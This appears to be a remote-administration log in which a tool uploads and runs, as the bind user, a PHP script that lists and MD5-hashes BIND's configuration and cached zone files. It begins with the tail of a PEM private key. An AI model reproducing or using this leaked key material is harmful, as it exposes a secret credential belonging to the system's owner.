ZI5CCshpAgMBAAECggEABes5P09pqgt1Pe0FGcGbBTFFD4HnXncLmJDFOR47FYcO
eR887kTnd6Zno9q+2bRZIAyBEpYtcMLz/VS5aHTCk2tqEAEUG6K2rGmvZEHAs5Nu
Ovd3K1FIm2ZEDJSyso2G5oXzwaqSYVXn5Gwe+7ibn45FNj7i2wyOwzaxRkV1i6sW
bRbRRAGS+NfF6zAJ1mNDDI6dajiY/BNyedE7js35hmbdMQI9PxJBWZ7n5iMHVmEX
ou2l3ireop4NTTeGvsFLZNoOx3eO33OrBf1JDn0Y3X4dtT8VH6qywfJo+QLQkNX9
9RKbZ3p3Yv1jFG1xjCkPtt6EAmYmDLhM197t1a8AdQKBgQDukUSbsfYLJ8Hu9+OI
y2RRNq6jZztW5TAXmkgeHsFOZKaBcogSVYzncjNxJnNXGu20zul2sRaEFNxHRzVa
Svr5D6bnGJOpykTy4W+RpbUUwBFcgesMzgINpuQWEb/kgmfrZg4cw38zHIIm1rpJ
0FWtoqyafvsMIICohNHWM5cGlwKBgQDfMHI8iHftnRiljtZ6vyO4ECKBkgVgCN9P
fbu0iP053FPne/IEtjbGjlSOvYPruXQy7YVDn7aVeREJ38lu4fyN1yhN1R0zoNXD
/5zCEghGwsZY9YQ6yVl/L9wOhB4BzjQnjzhz/KQUYv7AcDnV/CzMZ2h7SNngdPmm
V6uavB2I/wKBgQCDROGofhKxbq3ybOoBUlEfsuQDO4FWPgPpaNY35JpfJVjNL5UZ
6YL/s0IFB7A9hK65Z4Tk72pBQS0390GvLkTMmMUwscBGk+q+bjcywChUg57J9R69
y/krQ+KLFjctaGgACgbH4vZxzET9U/frN7x9L16kICzJLnU8xOClaXu3fwKBgCM/
VWs16iq+epv62Oh9szhoY+qukua9v/af1rsGP2eZ4i5WprwTwsbMx5HbYDAkE7PP
SxKI8J7ehdBXZUp7qhUEe7r/AyOaLOhNQAZuLpxuOkDmVUGrdtTdTBWGy+5hEF+H
ANVgetE1aSIfFyMyNij508hUkwQdtSeOBO3k840lAoGAeF944sPFkFeGoQKdp0HO
j/dewgq+SgkadCHUY6A1Whb4gy9Q34SkmFJIGggi/SuX2BEcCQXdqQPRrLSD94Mg
d1WvupQXopaXNBtmGEteasKtHuArXP9D5A9RivV3N3fHf9MC2UFlivuL5IIrT93H
gwGUidL/+4pn5hRrXSFApmE=
-----END PRIVATE KEY-----







2026-06-07 16:47:12: Establishing a connection
2026-06-07 16:47:23: Establishing a connection
2026-06-07 16:47:23: 

PUT: /tmp/pkp430570

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-06-07 16:47:24: 

runuser -l bind -s /bin/bash -c '/tmp/pkp430570; rm /tmp/pkp430570'

2026-06-07 16:47:24: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= f528c9aa02ebb4638264fc82862875f3
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-06-07 16:47:24: Establishing a connection
2026-06-07 16:47:25: 

PUT: /tmp/pkp379276

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-06-07 16:47:25: 

runuser -l bind -s /bin/bash -c '/tmp/pkp379276; rm /tmp/pkp379276'

2026-06-07 16:47:25: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
